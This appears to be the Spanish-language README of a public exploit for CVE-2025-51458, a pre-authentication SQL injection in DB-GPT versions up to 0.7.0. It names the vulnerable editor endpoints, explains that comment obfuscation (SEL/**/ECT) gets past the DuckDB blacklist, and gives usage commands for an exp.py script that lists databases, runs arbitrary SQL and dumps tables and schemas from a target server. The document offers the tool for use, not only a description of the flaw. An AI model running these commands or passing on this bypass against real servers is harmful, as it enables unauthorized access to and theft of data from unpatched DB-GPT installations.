CVE-2025-51458-exp

Inyección SQL Pre-Auth en DB-GPT <= 0.7.0

Descripción general

Los endpoints /api/v1/editor/sql/run y /api/v1/editor/chart/run aceptan SQL arbitraria sin autenticación. La lista negra de sanitize_sql solo cubre DuckDB; las conexiones a MySQL, PostgreSQL y SQLite reciben entrada de usuario sin filtrar. La propia lista negra de DuckDB puede ser omitida mediante ofuscación de comentarios (SEL/**/ECT).

Esto es una evasión de CVE-2024-10835 y CVE-2024-10901.

• CVSS: 6.5 (Medio)
• Tipo: CWE-89 (Inyección SQL)
• Autenticación: No requerida (Pre-Auth)
• Afectado: DB-GPT <= 0.7.0
• Corregido: PR #2650

Uso

# List databases
python3 exp.py http://target:5670 --list-dbs

# Execute SQL
python3 exp.py http://target:5670 <db_name> --sql "SELECT VERSION()"

# Dump tables
python3 exp.py http://target:5670 <db_name> --dump-tables

# Dump schema
python3 exp.py http://target:5670 <db_name> --dump-db

# DuckDB bypass
python3 exp.py http://target:5670 <db_name> --duckdb-bypass --sql "SELECT CURRENT_SETTING('access_mode')"

# Interactive mode
python3 exp.py http://target:5670 <db_name>